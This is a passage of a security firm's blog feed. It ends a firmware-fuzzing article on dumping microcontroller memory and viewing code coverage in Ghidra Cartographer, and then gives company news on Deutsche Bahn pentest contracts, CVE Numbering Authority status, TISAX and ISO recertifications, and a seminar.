ezcov_file.write(f&amp;#39;0x{addr}, 4, [ ]\n&amp;#39;)
print(f&amp;#39;Saved EZCOV file to {EZCOV_PATH}&amp;#39;)
&lt;/code>&lt;/pre>&lt;/div>&lt;p>To implement any form of instrumentation, we first need to analyze the binary running on the microcontroller.
To do this, we can dump the microcontroller’s memory and import it into Ghidra for analysis. Ghidra then decompiles the firmware.
This serves two purposes: first, to generate a code flow graph that supports our fuzzer, and second, to visualize in ghidra-cartographer how the device behaves when it receives input.&lt;/p>
&lt;h2 id="step-3-dumping-the-targets-program-memory">Step 3: Dumping the target&amp;rsquo;s program memory&lt;/h2>
&lt;p>The extraction of the target&amp;rsquo;s firmware is different depending on the target.
For a target with 1MiB of program flash at 0x8000000, a Lauterbach command such as the following would work.&lt;/p>
&lt;div class="highlight">&lt;pre style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-fallback" data-lang="fallback">Data.SAVE.IntelHex firmware.hex 0x8000000--0x800FFFFF
&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="step-4-analyzing-the-snoop-in-ghidra-cartographer">Step 4: Analyzing the snoop in Ghidra Cartographer&lt;/h2>
&lt;p>The firmware and snooped data can now be imported in Ghidra.
Depending on the target, it may be necessary to offset the memory addresses when importing the firmware file to match the PC sample values.&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/lauterbach-embedded-fuzzing-cooperation-2/coverage-in-asm_hu5d7b70d351127fd1f93f57e314f883f4_23896_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/lauterbach-embedded-fuzzing-cooperation-2/coverage-in-asm_hu5d7b70d351127fd1f93f57e314f883f4_23896_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/lauterbach-embedded-fuzzing-cooperation-2/coverage-in-asm_hu5d7b70d351127fd1f93f57e314f883f4_23896_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/lauterbach-embedded-fuzzing-cooperation-2/coverage-in-asm.png"
width="932"
height="821"
alt="Figure 2: Highlighted covered assembly code."
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
Figure 2: Highlighted covered assembly code.&lt;/figcaption>
&lt;/figure>
&lt;p>After importing the coverage data, code and instructions that have been executed will be highlighted, as shown above in Figure 2.
Blank spots in-between two highlighted lines can be a result of the slow PC sampling rate or a jump instruction.
Also, code blocks that have run less frequently may not be highlighted at all.&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/lauterbach-embedded-fuzzing-cooperation-2/coverage-hex_hu1887e79c409f11720de1efe6060847f0_41270_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/lauterbach-embedded-fuzzing-cooperation-2/coverage-hex_hu1887e79c409f11720de1efe6060847f0_41270_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/lauterbach-embedded-fuzzing-cooperation-2/coverage-hex_hu1887e79c409f11720de1efe6060847f0_41270_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/lauterbach-embedded-fuzzing-cooperation-2/coverage-hex.png"
width="1299"
height="1089"
alt="Figure 3: Highlighted covered functions in code coverage view."
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
Figure 3: Highlighted covered functions in code coverage view.&lt;/figcaption>
&lt;/figure>
&lt;p>In the code coverage view of Cartographer (Figure 3), we can see coverage metrics for all functions.
The table rows are colored as a heatmap, from fully covered functions (blue) to less covered functions (red).
The Ghidra Cartographer plugin also offers additional options such as creating diffs of coverage samples and viewing multiple coverages simultaneously.&lt;/p>
&lt;p>Using the Cartographer, we can now observe how the target behaves differently depending on different inputs.
If we record PC samples while repeatedly feeding malformed data to the target, we may be able to observe error routines or crash handlers.
Similarly, we can explore parts of the software such as password checks, privileged functions and shared functionality to further understand our target and find attack opportunities.
This can be directly integrated on common Ghidra based reverse engineering workflows and allows getting around in large binaries much easier.&lt;/p>
&lt;p>In the next article of this project we will take a look at how to put this setup in a fuzzing loop.&lt;/p>
&lt;hr></description></item><item><title>SCHUTZWERK Wins Two Framework Contracts with Deutsche Bahn for IT and OT Security Testing</title><link>https://www.schutzwerk.com/en/blog/penetrationstests-fuer-die-deutsche-bahn/</link><author>SCHUTZWERK GmbH</author><pubDate>Tue, 20 May 2025 09:00:00 +0100</pubDate><category>news</category><category>cooperation</category><category>embedded security</category><category>penetration testing</category><description>
&lt;p>We are pleased to announce that SCHUTZWERK has successfully competed in two parallel EU-wide tender processes conducted by Deutsche Bahn and has been selected for both multi-year framework contracts. The first framework contract covers comprehensive penetration tests across various domains including networks, IT infrastructure, web applications, mobile applications, and APIs. The second framework contract focuses on specialized security assessments in the field of Operational Technology (OT) and embedded systems. Being selected as one of the few service providers successful in both tenders highlights our comprehensive expertise in both IT and OT security areas.&lt;/p>
&lt;h2 id="deutsche-bahn-critical-infrastructure-with-high-security-requirements">Deutsche Bahn: Critical Infrastructure with High Security Requirements&lt;/h2>
&lt;p>Deutsche Bahn AG, as a federally owned mobility and transport company with over 200,000 employees, is one of Europe&amp;rsquo;s largest transportation and logistics enterprises. With a rail network of approximately 33,400 kilometers and more than 40,000 train journeys daily, the railway is an important component of Germany&amp;rsquo;s critical infrastructure.&lt;/p>
&lt;p>In recent years, Deutsche Bahn has invested heavily in the digitalization of its infrastructure. The &amp;ldquo;Digital Rail Germany&amp;rdquo; program focuses on digitalization, automation, and artificial intelligence as core elements of the railway strategy. This progressive networking of IT and OT systems requires high security standards and continuous cybersecurity monitoring.&lt;/p>
&lt;h2 id="competitive-tenders-schutzwerk-convinces-through-broad-expertise">Competitive Tenders: SCHUTZWERK Convinces Through Broad Expertise&lt;/h2>
&lt;p>The awarding of both framework contracts followed rigorous and detailed selection processes as part of parallel EU-wide tenders. The technical capabilities, experience, and qualifications of applicants were thoroughly examined in each case. SCHUTZWERK&amp;rsquo;s selection for both challenging tenders confirms our exceptional breadth and depth of expertise in the field of cybersecurity - from classical IT systems to complex OT environments.&lt;/p>
&lt;h2 id="comprehensive-security-services-for-complex-requirements">Comprehensive Security Services for Complex Requirements&lt;/h2>
&lt;p>As part of the partnership, SCHUTZWERK will provide a broad spectrum of specialized security services:&lt;/p>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/assessment/penetration-test/"
class="link-background inline split"
>
&lt;span class="link-label">Comprehensive&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/penetration-test/"
class="link-background inline split"
>
&lt;span class="link-label">Penetration&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/penetration-test/"
class="link-background inline split"
>
&lt;span class="link-label">Tests&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/strong>: Simulation of realistic attacks on IT systems and networks to identify vulnerabilities before they can be exploited by actual attackers&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/assessment/embedded-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">Specialized&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/embedded-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">OT&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/embedded-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/embedded-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">Embedded&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/embedded-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">Security&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/embedded-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">Analyses&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/strong>: Assessment of industrial control systems and critical infrastructure components essential for smooth railway operations&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/assessment/vulnerability-analysis/"
class="link-background inline split"
>
&lt;span class="link-label">Vulnerability&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/vulnerability-analysis/"
class="link-background inline split"
>
&lt;span class="link-label">Analyses&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/vulnerability-analysis/"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/vulnerability-analysis/"
class="link-background inline split"
>
&lt;span class="link-label">Risk&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/vulnerability-analysis/"
class="link-background inline split"
>
&lt;span class="link-label">Assessments&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/strong>: Systematic identification and prioritization of security risks in complex IT and OT environments&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/assessment/web-application-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">Web&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/web-application-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">Application&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/web-application-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">Security&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/web-application-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">Assessments&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/strong>: Testing of the numerous customer-facing applications and internal tools of Deutsche Bahn&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/assessment/cloud-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">Cloud&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/cloud-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">Security&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/cloud-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">Assessment&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/strong>: Testing of cloud environments and services for configuration vulnerabilities and security risks&lt;/p>
&lt;/li>
&lt;/ul>
&lt;h2 id="challenges-of-digitalization-in-the-railway-sector">Challenges of Digitalization in the Railway Sector&lt;/h2>
&lt;p>Deutsche Bahn is driving digital transformation in the transportation sector. This evolution is part of the company&amp;rsquo;s comprehensive digitalization strategy and presents new cybersecurity challenges for railway operations.&lt;/p>
&lt;p>Projects such as automated train control (ETCS), networked railway stations, and digital customer services create continuously evolving requirements for IT and OT security. As a critical infrastructure operator, Deutsche Bahn must meet specific security standards. The complex infrastructure includes:&lt;/p>
&lt;ul>
&lt;li>Digital control and safety technology for train traffic&lt;/li>
&lt;li>Networked signal boxes and signaling technology&lt;/li>
&lt;li>Automated operating systems for railway stations and logistics centers&lt;/li>
&lt;li>Customer-oriented digital services and payment systems&lt;/li>
&lt;/ul>
&lt;p>These systems must be protected against various cyber threats. Particularly dangerous are targeted attacks on critical infrastructure, which could have significant impacts on the availability and safety of the railway system. As connectivity increases, so does the attack surface, making regular security assessments even more important.&lt;/p>
&lt;h2 id="schutzwerk-specialist-in-security-testing-of-critical-infrastructure">SCHUTZWERK: Specialist in Security Testing of Critical Infrastructure&lt;/h2>
&lt;p>Our experience in technical and conceptual security testing of complex systems and critical infrastructure makes SCHUTZWERK a suitable partner for Deutsche Bahn. With our team of offensive IT security experts, OT specialists, and embedded security professionals, we identify vulnerabilities and provide well-founded recommendations for improving security.&lt;/p>
&lt;p>In the field of OT and embedded security, where industrial control systems and critical infrastructure are the focus, we contribute specialized testing expertise that is important for assessing the security of railway systems.&lt;/p>
&lt;h2 id="sustainable-mobility-in-daily-business-operations">Sustainable Mobility in Daily Business Operations&lt;/h2>
&lt;p>The collaboration with Deutsche Bahn has special significance for us, as railways also play an important role in our day-to-day business. Many SCHUTZWERK employees are enthusiastic train users and choose the train as their preferred means of transport for travel to clients, project assignments, or events whenever possible and practical.&lt;/p>
&lt;blockquote>
&lt;p>&amp;ldquo;As a co-founder of SCHUTZWERK, I have traveled hundreds of thousands of kilometers by train between our locations in Ulm and Hamburg and to our clients in recent years. I am very pleased that we can now actively contribute to the security of this infrastructure that is so important for Germany,&amp;rdquo; explains Jakob Pietzka, co-founder and one of the managing directors of SCHUTZWERK.&lt;/p>
&lt;/blockquote>
&lt;h2 id="together-for-a-secure-digital-future">Together for a Secure Digital Future&lt;/h2>
&lt;p>For us the collaboration between SCHUTZWERK and Deutsche Bahn goes beyond a mere service contract. It represents a joint commitment to the security of a significant infrastructure in Germany and contributes to the mobility of people and the transport of important goods.&lt;/p>
&lt;p>We look forward to the challenges and opportunities of this partnership and are proud to contribute to the secure digital transformation of Deutsche Bahn.&lt;/p></description></item><item><title>Partnering with the CVE Program for Stronger Cybersecurity</title><link>https://www.schutzwerk.com/en/blog/schutzwerk-is-a-cve-numbering-authority/</link><author>SCHUTZWERK GmbH</author><pubDate>Tue, 13 May 2025 13:00:00 +0200</pubDate><category>news</category><category>cooperation</category><description>
&lt;h2 id="schutzwerk-gmbh--partnering-with-the-cve-program-for-stronger-cybersecurity">SCHUTZWERK GmbH – Partnering with the CVE Program for Stronger Cybersecurity&lt;/h2>
&lt;p>We are pleased to announce that SCHUTZWERK GmbH has been authorized as a &lt;strong>CVE Numbering Authority (CNA)&lt;/strong> by the CVE Program. This makes us one of the few German partners in the CVE Program. From now on, we can assign CVE numbers to vulnerabilities discovered by our employees and customers.&lt;/p>
&lt;h2 id="strengthening-global-cybersecurity-efforts">Strengthening Global Cybersecurity Efforts&lt;/h2>
&lt;p>In our work for clients, we frequently discover vulnerabilities through &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/pruefung/penetrationstest/"
class="link-background inline split"
>
&lt;span class="link-label">penetration&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/pruefung/penetrationstest/"
class="link-background inline split"
>
&lt;span class="link-label">tests&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
and &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/pruefung/red-teaming/"
class="link-background inline split"
>
&lt;span class="link-label">red&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/pruefung/red-teaming/"
class="link-background inline split"
>
&lt;span class="link-label">teaming&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/pruefung/red-teaming/"
class="link-background inline split"
>
&lt;span class="link-label">assessments&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
, that also affect others. Where suitable we publish vulnerabilities via our &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/advisories/"
class="link-background inline split"
>
&lt;span class="link-label">responsible&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/advisories/"
class="link-background inline split"
>
&lt;span class="link-label">disclosure&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/advisories/"
class="link-background inline split"
>
&lt;span class="link-label">process&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
.
Through our cooperation with the CVE Program, we can publish &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/blog/tags/advisories/"
class="link-background inline split"
>
&lt;span class="link-label">security&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/blog/tags/advisories/"
class="link-background inline split"
>
&lt;span class="link-label">advisories&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
more quickly and make these vulnerabilities accessible to the global community.&lt;/p>
&lt;h2 id="the-importance-of-cve-records">The Importance of CVE Records&lt;/h2>
&lt;p>With our responsible disclosure process, we support the mission of the &lt;strong>Common Vulnerabilities and Exposures (CVE®) Program&lt;/strong>: identifying, defining, and cataloging publicly known security vulnerabilities. The &lt;strong>CVE Records&lt;/strong> published in the CVE List provide standardized descriptions of vulnerabilities, ensuring that IT and security professionals address the same issues.&lt;/p>
&lt;p>As a CNA, SCHUTZWERK takes on the following responsibilities:&lt;/p>
&lt;ul>
&lt;li>Assigning CVE numbers to newly discovered vulnerabilities within our scope&lt;/li>
&lt;li>Creating and publishing information about these vulnerabilities in CVE Records&lt;/li>
&lt;li>Contributing to the overarching mission of cybersecurity through increased transparency and standardized vulnerability identification&lt;/li>
&lt;/ul>
&lt;h2 id="about-the-cve-program">About the CVE Program&lt;/h2>
&lt;p>We are excited to be part of the &lt;strong>CVE Program&lt;/strong> and to actively contribute to global IT security.&lt;/p>
&lt;p>Would you like to learn more about the CVE Program and stay updated on newly discovered vulnerabilities? Visit &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.cve.org/"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">www.cve.org&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
and become part of a global community working toward better cybersecurity for everyone.&lt;/p></description></item><item><title>SCHUTZWERK renews TISAX certification</title><link>https://www.schutzwerk.com/en/blog/schutzwerk-verlaengert-tisax-zertifizierung/</link><author>SCHUTZWERK GmbH</author><pubDate>Fri, 09 May 2025 08:35:25 +0200</pubDate><category>news</category><category>automotive security</category><description>
&lt;p>We are very pleased that SCHUTZWERK has successfully renewed its TISAX certification (Trusted Information Security Assessment Exchange). After a multi-day, intensive assessment by an accredited auditor, we have once again met all relevant security criteria of the German Association of the Automotive Industry (VDA). The certification is now valid for another three years and confirms our high level of information security in the automotive context.&lt;/p>
&lt;h2 id="what-is-tisax">What is TISAX?&lt;/h2>
&lt;p>TISAX is an assessment and exchange mechanism for information security that was introduced in 2017 by the German Association of the Automotive Industry (VDA) with the ENX Association. Many automotive manufacturers and suppliers require their business partners to have TISAX certification to ensure the protection of sensitive information such as processes, trade secrets, and prototypes. The TISAX standard is based on ISO/IEC 27001 and has been specifically adapted to the requirements of the automotive industry.&lt;/p>
&lt;h2 id="assessment-level-3-achieved">Assessment Level 3 achieved&lt;/h2>
&lt;p>We are particularly proud to have once again achieved the highest security level, Assessment Level 3. At this assessment level, all our descriptions and evidence for each individual control criterion were examined in detail and verified through on-site inspections. Our auditors were particularly impressed by:&lt;/p>
&lt;ul>
&lt;li>Our comprehensive Information Security Management System (ISMS)&lt;/li>
&lt;li>The carefully documented IT infrastructure with precise processes&lt;/li>
&lt;li>Our access protection measures and authorization concepts&lt;/li>
&lt;li>Regular security training for all employees&lt;/li>
&lt;/ul>
&lt;h2 id="successful-certification-for-two-demanding-tisax-labels">Successful certification for two demanding TISAX labels&lt;/h2>
&lt;p>During the recertification, we also carried out the assessment for two particularly demanding TISAX labels:&lt;/p>
&lt;h3 id="protection-of-prototype-parts-and-components">Protection of Prototype Parts and Components&lt;/h3>
&lt;p>This label certifies our ability to protect classified components and parts according to the highest automotive standards. According to the TISAX participant manual, this label applies to &amp;ldquo;all companies that manufacture, store, or are entrusted with components or parts classified as requiring protection at their own locations&amp;rdquo;.&lt;/p>
&lt;p>To meet this requirement, at SCHUTZWERK we implement a multi-layered protection approach:&lt;/p>
&lt;h4 id="physical-protection-measures">Physical Protection Measures&lt;/h4>
&lt;ul>
&lt;li>Secured access control systems with multifactor authentication&lt;/li>
&lt;li>Separate protection zones per customer project and project team&lt;/li>
&lt;li>Special storage locations with defined access restrictions&lt;/li>
&lt;/ul>
&lt;h4 id="organizational-protection-measures">Organizational Protection Measures&lt;/h4>
&lt;ul>
&lt;li>Strict confidentiality agreements with clear sanction mechanisms&lt;/li>
&lt;li>Regular awareness and security training for all employees&lt;/li>
&lt;li>Clearly defined responsibilities and transparent processes&lt;/li>
&lt;/ul>
&lt;h4 id="specific-measures-for-prototypes">Specific Measures for Prototypes&lt;/h4>
&lt;ul>
&lt;li>Documented procedures for handling, transport, and disposal&lt;/li>
&lt;li>Special labeling and inventory processes&lt;/li>
&lt;li>Tenant separation and compliance with customer-specific requirements&lt;/li>
&lt;/ul>
&lt;h3 id="strictly-confidential">Strictly Confidential&lt;/h3>
&lt;p>The &amp;ldquo;Strictly Confidential&amp;rdquo; label certifies our ability to process and protect information with very high confidentiality requirements. According to the TISAX participant manual, this label is relevant for &amp;ldquo;all companies that receive and process information that has a very high need for protection regarding confidentiality or is classified as strictly confidential or secret according to their own classification scheme&amp;rdquo;.&lt;/p>
&lt;p>To meet the strictest confidentiality requirements, we have implemented the following measures, among others:&lt;/p>
&lt;ul>
&lt;li>Encryption of sensitive data both at rest and during transmission&lt;/li>
&lt;li>Strict access controls according to the principle of least privilege&lt;/li>
&lt;li>Automated audit trails and logging for all access to confidential information&lt;/li>
&lt;li>Secure remote access solutions with multifactor authentication&lt;/li>
&lt;li>Regular review and updating of security measures&lt;/li>
&lt;/ul>
&lt;p>Both labels require the highest Assessment Level 3 with comprehensive verification measures and evidence.&lt;/p>
&lt;h2 id="continuous-improvement-of-our-security-measures">Continuous improvement of our security measures&lt;/h2>
&lt;p>The TISAX assessment is not just a snapshot for us, but part of a continuous improvement process. We regularly review and optimize our security measures to always be at the state of the art and to meet the constantly growing requirements of the automotive industry.&lt;/p>
&lt;h2 id="benefits-for-our-customers">Benefits for our customers&lt;/h2>
&lt;p>The successful renewal of our TISAX certification with the demanding labels offers our customers numerous benefits:&lt;/p>
&lt;ul>
&lt;li>Integration into automotive industry supply chains by meeting industry-specific requirements&lt;/li>
&lt;li>Legal certainty through compliance with strict information security and data protection standards&lt;/li>
&lt;li>Protection of confidential information and prototypes at the highest security level&lt;/li>
&lt;li>Trust through proven competence in handling sensitive data and materials&lt;/li>
&lt;li>Knowledge transfer through our own experiences with the TISAX assessment&lt;/li>
&lt;/ul>
&lt;p>With our many years of expertise in the automotive field and our own TISAX certification, we are well-equipped to support our customers through our &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/assessment/automotive-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">Automotive&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/automotive-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">Security&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/automotive-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">Assessment&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
and to guide them in achieving their own TISAX certification.&lt;/p>
&lt;p>In addition to TISAX, SCHUTZWERK also holds ISO/IEC 27001 and ISO 9001 certification. More details about our certificates can be found on our &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/certification/"
class="link-background inline split"
>
&lt;span class="link-label">certification&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/certification/"
class="link-background inline split"
>
&lt;span class="link-label">page&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
.&lt;/p></description></item><item><title>SCHUTZWERK receives renewal of ISO 9001 and 27001 certifications</title><link>https://www.schutzwerk.com/en/blog/schutzwerk-nach-iso27001-iso9001-rezertifiziert/</link><author>SCHUTZWERK GmbH</author><pubDate>Wed, 16 Apr 2025 09:00:00 +0200</pubDate><category>news</category><description>
&lt;h2 id="schutzwerk-receives-renewal-of-iso-9001-and-27001-certifications">SCHUTZWERK receives renewal of ISO 9001 and 27001 certifications&lt;/h2>
&lt;p>We are very pleased to announce that SCHUTZWERK has successfully received the renewal of its certifications according to ISO 9001 (Quality Management) and ISO 27001 (Information Security).&lt;/p>
&lt;p>These certifications underscore our commitment to meeting high quality standards and information security. It is important for us to make our internal quality management and process improvement measures visible externally, thereby giving our customers a clear signal of reliability and professionalism.&lt;/p>
&lt;p>As a provider of &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/assessment/"
class="link-background inline split"
>
&lt;span class="link-label">IT&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/"
class="link-background inline split"
>
&lt;span class="link-label">security&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/"
class="link-background inline split"
>
&lt;span class="link-label">assessments&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
and &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/assessment/penetration-test/"
class="link-background inline split"
>
&lt;span class="link-label">penetration&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/penetration-test/"
class="link-background inline split"
>
&lt;span class="link-label">testing&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
, we understand the importance of verifiable quality standards and security measures for our clients. The successful recertification by independent auditors confirms that we implement the same high standards that we assess in our clients' environments within our own company.&lt;/p>
&lt;h3 id="certifications-as-a-foundation-for-trust">Certifications as a Foundation for Trust&lt;/h3>
&lt;p>For many companies, certifications are an important factor when selecting service providers in the field of IT security. On our &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/certification/"
class="link-background inline split"
>
&lt;span class="link-label">certification&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/certification/"
class="link-background inline split"
>
&lt;span class="link-label">page&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
, you will find an overview.&lt;/p></description></item><item><title>Assessment of IT Security in Companies: Penetration Tests and Other Types of IT Security Assessments</title><link>https://www.schutzwerk.com/en/blog/udis-seminar-mai-2025/</link><author>SCHUTZWERK GmbH</author><pubDate>Wed, 09 Apr 2025 09:00:00 +0200</pubDate><category>event</category><category>news</category><category>cooperation</category><description>
&lt;p>Organized by &lt;strong>SCHUTZWERK&lt;/strong> and &lt;strong>udis - Ulmer Akademie für Datenschutz und IT-Sicherheit&lt;/strong>, this seminar offers the perfect opportunity to take your IT security strategy to the next level.&lt;/p>
&lt;h2 id="what-is-it-about">What is it about?&lt;/h2>
&lt;p>In this practice-oriented seminar, participants will learn about various approaches to IT security assessments through practical examples. &lt;strong>Christoph Wolfert&lt;/strong>, Managing Consultant at &lt;strong>SCHUTZWERK&lt;/strong>, teaches the fundamentals of planning and implementing such assessments in a compact one-day seminar.&lt;/p>
&lt;p>The following assessment types will be presented:&lt;/p>
&lt;ul>
&lt;li>Vulnerability analyses&lt;/li>
&lt;li>Penetration tests&lt;/li>
&lt;li>Red Teaming&lt;/li>
&lt;li>Phishing and Social Engineering assessments&lt;/li>
&lt;li>ISO 27001 maturity analyses / inventories&lt;/li>
&lt;/ul>
&lt;p>The goal of the seminar is to provide a deeper understanding of the different types of IT security assessments. Participants will learn how the different types of assessments differ and where or when they are best used in a company. The seminar will also explain what preparations need to be made to ensure efficient implementation and achieve the most sustainable results to increase cybersecurity in the company.&lt;/p>
&lt;h2 id="who-is-the-target-group">Who is the target group?&lt;/h2>
&lt;p>The seminar is aimed at IT security officers (CISO, ISB, etc.), IT managers, managing directors, and other IT security professionals. Basic knowledge of IT and information security is advantageous.&lt;/p>
&lt;h2 id="eu-funding">EU Funding&lt;/h2>
&lt;p>This seminar is co-financed by the European Union. Thanks to this funding, participants from Baden-Württemberg and individuals aged 55 and over can benefit from reduced seminar fees.&lt;/p>
&lt;h2 id="further-information-and-registration">Further Information and Registration&lt;/h2>
&lt;p>All details about the seminar and registration can be found on the udis website:&lt;/p>
&lt;p>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.udis.de/seminare/prufung-der-it-sicherheit-im-unternehmen.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Assessment&lt;/span>
&lt;/a>&lt;a
href="https://www.udis.de/seminare/prufung-der-it-sicherheit-im-unternehmen.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">of&lt;/span>
&lt;/a>&lt;a
href="https://www.udis.de/seminare/prufung-der-it-sicherheit-im-unternehmen.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">IT&lt;/span>
&lt;/a>&lt;a
href="https://www.udis.de/seminare/prufung-der-it-sicherheit-im-unternehmen.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Security&lt;/span>
&lt;/a>&lt;a
href="https://www.udis.de/seminare/prufung-der-it-sicherheit-im-unternehmen.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">in&lt;/span>
&lt;/a>&lt;a
href="https://www.udis.de/seminare/prufung-der-it-sicherheit-im-unternehmen.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Companies&lt;/span>
&lt;/a>&lt;a
